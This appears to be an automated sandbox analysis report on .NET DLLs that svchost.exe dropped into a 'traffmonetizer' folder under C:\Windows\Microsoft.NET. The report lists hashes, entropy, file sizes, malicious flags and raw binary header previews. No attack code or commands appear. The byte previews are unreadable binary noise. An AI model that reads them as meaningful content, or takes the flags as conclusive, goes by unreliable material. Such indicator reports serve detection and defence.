Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0.................. ... ....... .......................`............@.................................X...O.... ..0................#...@...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...>..}......}......{......{......{.....{....3..{.....{....((......0...........%.u....,..........(.....z.{....%-.&.+.o)....{....(a.....(....zN........o...s+....(....z.s,.....(....zF(U....(O...s-....(....z.(V...s-....(....z.s.....(....z.s/.....(....zN........o...s0....(....zrr...p(\....c.K...(O...s1....(....zBr...p(Y...s1....(....z.s2....(....z.(X...s3....(!...z.(_...s3...*.(#...z

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	198472
Entropy (8bit):	6.150725701658664
Encrypted:	false
SSDEEP:	3072:HeruQlNGOhYq0AQcTvankc+8lbKta4FUPAT8xpRI454I/Kv6RpZ8dwPSgEQ4:aW60VcTvakcXcApOW4
MD5:	665E355CBED5FE5F7BEBC3CB23E68649
SHA1:	1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C
SHA-256:	B5D20736F84F335EF4C918A5BA41C3A0D7189397C71B166CCC6C342427A94ECE
SHA-512:	5300D39365E84A67010AE4C282D7E05172563119AFB84DC1B0610217683C7D110803AEF02945034A939262F6A7ECF629B52C0E93C1CD63D52CA7A3B3E607BB7D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.................. ........... ....................... ............@.....................................O.......h...............H?........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...h...........................@..@.reloc..............................@..B........................H........$..H...........$....,...........................................0..,........ ....1.r...ps0...z.............(.....s1....0..l........J.2..J.o2...2.r...ps0...z..Jo3....%36.o2....JY.2..J.Xo3.....J.Xo3...(...... ........J.XT....J...XT.o3.....o2....Y./....o3....%3 ...Xo3......Xo3...(.... ..........0..=..........J...XT..%....J...XT.~..... ...._.c.....J...XT.~......._......0............02...91...A2...F1...a2...f1. ....*..91...F1...aY+...AY..X+...0Y...02...91...A2...F

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.9009750652396775
Encrypted:	false
SSDEEP:	384:R6ZWYLWfQBm0GftpBjf6xTaQHRN76IzlTZVkH:R6lNViBCTL6GZVU
MD5:	2EEC710DBAACD32BEDFCA09ECA8DE52D
SHA1:	2CB934305D3648FF29FDBC7D92485003F8458848
SHA-256:	222BD77C5692C2961E8C3638F6511D6F7CBEB9E0977E2D5C3BCA6739A5311F37
SHA-512:	03F132E1BAC629A394A093D59550B22D5FD4C4D6F244697173229282741A9CD6669C4256C024467CE94293C74F304560066711C35620AB4750621502AA67B5B1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................f.....@.................................T(..O....@.. ................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......0...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22248
Entropy (8bit):	6.861480146265617
Encrypted:	false
SSDEEP:	384:B1W1WMQW5R4Xm0GftpBjNY1aQHRN7ZKl3uVogY:O154XVij2LZVV7Y
MD5:	F39A35095CFD0019D6D4BB8461750BF0
SHA1:	AD55AF22E5479A5ADDF01D698138E5149270E3CF
SHA-256:	2E2D28A0802D8C8C08C0D422F48733AD8BF1DFAE75F5682A4A3DF8898E7E819F
SHA-512:	25FC9D4254DE0AFAB9AE3E19B8B225E1D875DCACE6CA2C83F768B62C0E2B331CC9DD2988DFF7994B5819FB0DD7A89A49FD19E653FC2E4EE656182E08A969A93D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............,... ...@....... ...............................u....@..................................,..O....@..@................>...`......p+............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....t.......#US.x.......#GUID...........#Blob......................3................................!...............E.................%.................'...........e.....~...........................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21168
Entropy (8bit):	6.898664332146086
Encrypted:	false
SSDEEP:	384:AdSWSKW5R4Xm0GftpBjBaQHRN77OlGinGEwK:+Of4XViHL7asK
MD5:	2A459C2C395F54352A16DE4AA0E5407F
SHA1:	1BA9ECC598E170D779CEB290163AC88E6993935F
SHA-256:	4D97E8481B9A27042BB903245625735D82FF627C66797DE619303C1E705D0D6A
SHA-512:	28DCB8B6E306015D2004EC00443652CE986AB8E09FB09EB82193BFB0604268CA63C527FF64B6364F63C3ADBCDAF5FCDF4D1494243BFC8F6BB629BD213073BD7C
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................\|.....@..................................(..O....@...................>...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...L...#Strings....l.......#US.p.......#GUID...........#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.,...K.L...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22216
Entropy (8bit):	6.840714789582829
Encrypted:	false
SSDEEP:	384:CJEYA2WkIWVvT1Dm0GftpBj/WaQHRN7glBLY6fI:CyYA8r1DViVWL8YF
MD5:	562F67001889CDBC2531947636418EE5
SHA1:	B219DD45550762B54DAB46533D489C4755F55E0E
SHA-256:	9A8BA725F8E953C933285065228A9409036F9137D03016B127CCEA8A19452466
SHA-512:	FDE868018D24FD72177EDE58952325B52561F9D44AE02A4A2268E445F47ABF3B81B809F443D362DF83BD6667B5988AC2CA15242B9F76A0B5FB5B444FADA1BF26
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ..............................0c....@................................. ,..O....@...................>...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l.......#~..\|...x...#Strings............#US.........#GUID...........#Blob......................3......................................$.........N.U.....U.....-...u.................0...........n.........................>.......................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21184
Entropy (8bit):	6.933179959460408
Encrypted:	false
SSDEEP:	384:OJGWe4WG80um0GftpBjTaQHRN7xAlTZVk+:ymhViRLxaZV1
MD5:	28141960A88365DF6A60B0C6FF831B0B
SHA1:	B56C3D2E270B1C793A2EE17CAC9C98B178258E94
SHA-256:	F2E74A3EC2DC753C9A48FA9A677775F949EB1E02FC1BB8BF38C39E8D2AB147EB
SHA-512:	CD44E789A6C04E2BC3B07810B57CC83787F06530065FDCE069D89E42557F40770923CC705E73B7699731166F19FD7133FBDD8EDD578D308A4F72CBB29E76939F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................d.....@.................................0)..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d)......H.......P ..(...................x'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob......................3..................................................4...~.4...R.!...T.....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.870719034523618
Encrypted:	false
SSDEEP:	384:KdW1w3WesWoC7Bm0GftpBjWG1aQHRN7sl78oSwDnujJ:f1wxvVi11LWawS
MD5:	8D00682E84D1D773D2160B63C0380BA6
SHA1:	5E4158533532A27E03D0CCC9A0AF5E89FFFD8637
SHA-256:	D0D90152136A0ACF340FB345098F2E5C718BB13F3B5A809D7BE4D9948B8574D4
SHA-512:	991FC952B452446255963AEB4F11C74E7116E15B666924452F3C0D15517322EF1D925DC44BC1F003E8483B5C0B34AD71D54ECAEE360FD9E942664FDEC4E37E99
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............~... ...@....... ..............................X~....@.................................,..O....@...................>...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`*......H.......P ..$...................t(......................................BSJB............v4.0.30319......l...$...#~......t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.<.....<.....<...C.<.....<.....<...[.<...x.<...-.......<.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30544
Entropy (8bit):	6.684598614993447
Encrypted:	false
SSDEEP:	384:mylNGlfdqj5531HJTABhf8g2MkO1ICMbmiT2Y4Y3ocWS9sWvW8YsW6vm0GftpBj5:myp12Bhkg3qnV/s2ViaBL0HhR
MD5:	8C9D9F45B85526E491F6555B1566A41C
SHA1:	1420EF91F6E0F6954F373F1AC4079064398AB455
SHA-256:	694F4C61B6BAE0AEFAC07A1E861C12C03CB6002F30091E4C8B05BB9C8CCF0D3D
SHA-512:	38890886C641D7E6E76A3D4D984215C680F5DCF12129BA2EBD560644EDA793335B01C637C1F6744C249DAB1FEFD5AEB8D1B212475221C03DF3CA82413F6670C0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............I... ...`....... ...............................[....@.................................gI..O....`...............8..P?...........H............................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............6..............@..B.................I......H.......H(... ..................HH.......................................0..J.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%......o.......0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..K.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%.......o...+..0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..L.......(....~....%-.&~..........s....%.....~....%-.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.910950453979084
Encrypted:	false
SSDEEP:	384:5HPAW1bW4QBm0GftpBjzuGRaQHRN7dlxBGD:1rmViFL3M
MD5:	7DA1FEE108A0750F47B70F25FE2CC55A
SHA1:	6523838EF4AAB39D0D3C0DF11C28ADA449EDD592
SHA-256:	69B48FF8E6F40B84CDDDB95BCDBB34E1184A2E29CB4CCC0FC9F1A2493648EE37
SHA-512:	9C0E69C07B2ED6CAA9BB3FFD9EBA6C82A0B763F2DFB06341F6343C54DBC254505CC0350B96B79DC4062D8D28D47C79824E98BB293C8C85203E827164AF862B5A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................>...`......P'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3......................................z...............\.....0.....3.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.91070814532456
Encrypted:	false
SSDEEP:	384:MNoqWD7W6QBm0GftpBjig+aQHRN7Ml3uVogS/:MNofkViOLXV7S/
MD5:	E06BAE626965FBDB0BAE5437498B5155
SHA1:	49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7
SHA-256:	19766A20B62B038ABC3E863F2D6E7B55FABEE4D9CBCAD3EB1D7BD3EBFE8D023A
SHA-512:	69C6D8D5F8835DA31D36940F0AE793BD00D87E9CB9380C3A7B21FE3E315F192F95B8E63C8F9D0A3737C73673A0AEAC41FC728FB7B236F12453A953066F9E53E7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@.................................\|(..O....@..@................>...`......D'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ..t....................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.92602478259668
Encrypted:	false
SSDEEP:	384:YGETSAWUEWB+109m0GftpBjkOaQHRN7El3uVogD5R:OT1TViCOLvV7D3
MD5:	2E6378FEAEEE2F745417FC025C7850F9
SHA1:	E0FAD5EF75676B2ED7CF155AF6602B867FCED041
SHA-256:	99920CE34A01A0C07EFD86D6E134BB401993515D001B7567A4116AD222993A63
SHA-512:	5A8C41F32598BCF8C8E315B18AD5F1BBC377D7B638DC05CAA3CC47E988536AA0EBE4718D73AEE39ED5004328BE3A9DE9722D8759E5DFD500038E7139DADF9638
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3............................................................T.....,.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	115856
Entropy (8bit):	5.631610124521223
Encrypted:	false
SSDEEP:	1536:nPOw0SUUKw+GbgjMV+fCY1UiiGZ6qetMXIAMZ2zstK/hV+sUwS:nWw0SUUKBM8aOUiiGw7qa9tK/bJS
MD5:	AAA2CBF14E06E9D3586D8A4ED455DB33
SHA1:	3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0
SHA-256:	1D3EF8698281E7CF7371D1554AFEF5872B39F96C26DA772210A33DA041BA1183
SHA-512:	0B14A039CA67982794A2BB69974EF04A7FBEE3686D7364F8F4DB70EA6259D29640CBB83D5B544D92FA1D3676C7619CD580FF45671A2BB4753ED8B383597C6DA8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................DF....@.................................f...O........................>.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..\|?..........$... ...D.........................................(....&.l(....k&.l(....k..l.l(....k..l.l(....k&.l(....k&.l(....k&.l(....kj~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2rG..p.(....2r...p.(....*2r...p.(.

C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.907185647363724
Encrypted:	false
SSDEEP:	384:icDagtDApWSKJWsQBm0GftpBjwaQHRN7ptXl3uVog4:iPKBEVi2LAV74
MD5:	55D9528D161567A19DBB71244B3AE3CE
SHA1:	8A2FB74CF11719708774FC378D8B5BFCC541C986
SHA-256:	870EE1141CB61ABFCE44507E39BFDD734F2335E34D89ECFFFB13838195A6B936
SHA-512:	5338B067297B8CB157C5389D79D0440A6492841C85794EA15B805B5F71CFED445EFA9099C95E5BDEF8CF3902A6B10F032BFC356B0598DDE4F89FA5B349737907
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............+... ...@....... ...............................L....@.................................0+..O....@...................>...`.......)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d+......H.......P ..(...................x)......................................BSJB............v4.0.30319......l...x...#~......$...#Strings............#US.........#GUID...........#Blob......................3......................................x.........w.o.....o.....\...............<.....Y.................................................G...........V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C./...K.O...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.911906528800318
Encrypted:	false
SSDEEP:	384:rIWD4WwC7Bm0GftpBjkKgnaQHRN75lgaGn7v:r13ViYnL5GD
MD5:	DEFAADD4A92D4D348B0827AB8159D2FE
SHA1:	F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28
SHA-256:	3D2551D6458B84566025FDDFE5DAD479CAB5785428EFD6814860D36AD1811C9A
SHA-512:	1B13C70F05D56871008D5C8752BC93C8FB590D5F89B4E97264F592CDFD772CBBCCE8380D255F8BB305BC25BCDDEA21E422617FA614DFFD3DDCC9A1D4BE6C54A5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..@................>...`......\'............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....d.......#US.h.......#GUID...x.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	462728
Entropy (8bit):	6.065574118553577
Encrypted:	false
SSDEEP:	6144:6GQpCbBfTdCUG6Af0AQu/uePT78Wz3g8V51G3tTkd72ipc5/cSAy/B:6GhBK0AQuueVLm9g7iky5
MD5:	C4EA65BD802F1CCD3EA2AD1841FD85C2
SHA1:	2364D6DD5DD3B566E06E6B1DC960533D2B3017B7
SHA-256:	46451E1168DD11D450AA9B6119F17CEC9A70928A40AC3C752ABF61CE809CBA6F
SHA-512:	FC4C18EA6A6F38D8C4B4F2E02D3D077CC729B531CA08CF9602C65E22AADC0BE770E441660CC980CBFED3B27BD783E65F793838532673E2845276390B4B22D730
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ... ....... .......................`......K.....`.................................q...O.... ...................#...@..........T............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......,q...Y..........$....0............................................(N.....(N...^.(N......r...%...}....:.(N.....}....:.(N.....}....:.(N.....}.....~.....0..1.......(....,..%-.&...(.....oO......&...,...oP...,.......................(....,.r...p......%...%...(Q.....(R....(....,.r...p......%...%...%...(Q......(S....(....,!r...p......%...%...%...%...(Q.......(T.....,&(....,..r...pr...p.(Q...(U.....(V.....(....,.r...p......%...%...(Q......(W...*.(....,.r...

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21736
Entropy (8bit):	6.863412750707488
Encrypted:	false
SSDEEP:	384:AMWzQWsvT1Dm0GftpBjF2i4aQHRN7Del3uVogM:A561DVijuLD5V7M
MD5:	CF318475E6A7A56789ABB0F98C37ABE1
SHA1:	33D1EBD7212D747C8723CFB9E4292C99A641B964
SHA-256:	0383DC02FDF0B5D4612D8CAAAD13D594CAC1609C8240B73DFD6EA5803F5E17EA
SHA-512:	5C67456A65FD051147281E14041F5165C1852FD6519DFC8DFCF9C86F20217CDAD9E2D26F815B557B99E2DB3500AF47B2DF8A1225A659FA1069815CD62302458F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............N... ...@....... ....................................@..................................)..O....@..@................>...`.......(............................................... ............... ..H............text...T.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B................0......H.......P ......................D(......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................z.....N.....:.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22200
Entropy (8bit):	6.818690002285853
Encrypted:	false
SSDEEP:	384:oxDHKWAMWU+109m0GftpBjyi/aszaQHRN7RldBoQAY1:QD8GVirBzLDoJY1
MD5:	1A3DA139180E9FAB380033D8D1FE3995
SHA1:	3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC
SHA-256:	63AAF632EE7F3BC852C4D71C742CF1D26F18F784F6C89113E056B2599BA8F514
SHA-512:	D991298419FB5290D6906A1F9FCCEF56BB3E17506E235C85B4D979EBC49ABD4F4B3123697E675346B57829C3EFDEED6291A155D69348CD55B8B6B2EEC9F804A1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ..............................Z4....@................................. ,..O....@...................>...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID...........#Blob......................3................................"...............1.............{.................................Q.....j.......................n...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.....K.N...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.897645601910542
Encrypted:	false
SSDEEP:	384:WLNBEW6pWgQBm0GftpBjFaQHRN7GQlGinGEIJl:WbMIVi/LRU
MD5:	F1CC91D25B52C7504DC5BEAB5D0F498C
SHA1:	498F0FBBD2712F4F637BDB7370B2302FCC4966F3
SHA-256:	E3036362506D96C9C00ED6393A2AFCACD9F2E71CD2A35C1D638A61E85D2FB040
SHA-512:	4C931389035DF21AE67810D8C8E95CB613D9495E2392B11E34D84F624F90C78C541B14FB0D6FE7F0F89799AAD4B34E91FB6F73978AE38231840F047915E6EB5B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...............................q....@.................................D(..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................x(......H.......P ..<....................&......................................BSJB............v4.0.30319......l...\|...#~......0...#Strings............#US.........#GUID...,.......#Blob......................3......................................z...............\.....0..... .....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.926543977764199
Encrypted:	false
SSDEEP:	384:2KkHKW/tWXC7Bm0GftpBjcR3raQHRN7T0ldBoQAYNI:7uNViydLTgoJYW
MD5:	9E71DFCE86F14BEEB8F3E9F00D0A472E
SHA1:	BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A
SHA-256:	62DCE4679E33C079E11F41B096BC803B30B1D963A1EA79EFA84187CEBBC06AFE
SHA-512:	FF8CDC0287E510F859F46C1E35F9B0FB42EAD907B1EAA42C90C84B31CF6C2D4638CF682777F359B8611DD22062C1A5FA71F7FB667B7A3903783673E678098515
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@..`................>...`.......'............................................... ............... ..H............text...4.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................)......H.......P ......................$'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3..................................................W.....W...R.D.........f.......................=.....V.....}...........q.........................>.....>.....>...).>...1.>...9.>...A.>...I.>...Q.>...Y.>...a.>...i.>...q.>.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.904224159979604
Encrypted:	false
SSDEEP:	384:XLnfIWqrW0QBm0GftpBjTUFSNaQHRN7G1lBLY6f5vB:XDf4WVih8OLGNYIvB
MD5:	05D1B950C470EA8B0AA357F9A59CF264
SHA1:	B1756DC750ED5CFD5D0BFC70CB899FD590867A0C
SHA-256:	DAAABD07F1B94BE19D72913360286E469F454886850AFCC603506EAAB03150E4
SHA-512:	8E65FF1909AC8D65F599062E61AC935A919D43404C357DBC6AD628923B0C7ED7158862DDD272CFC1C2A8CEC393D48A57BC4D69CE7706EEF1BB6838826B1AFAE3
Malicious:	false
Reputation:	unknown
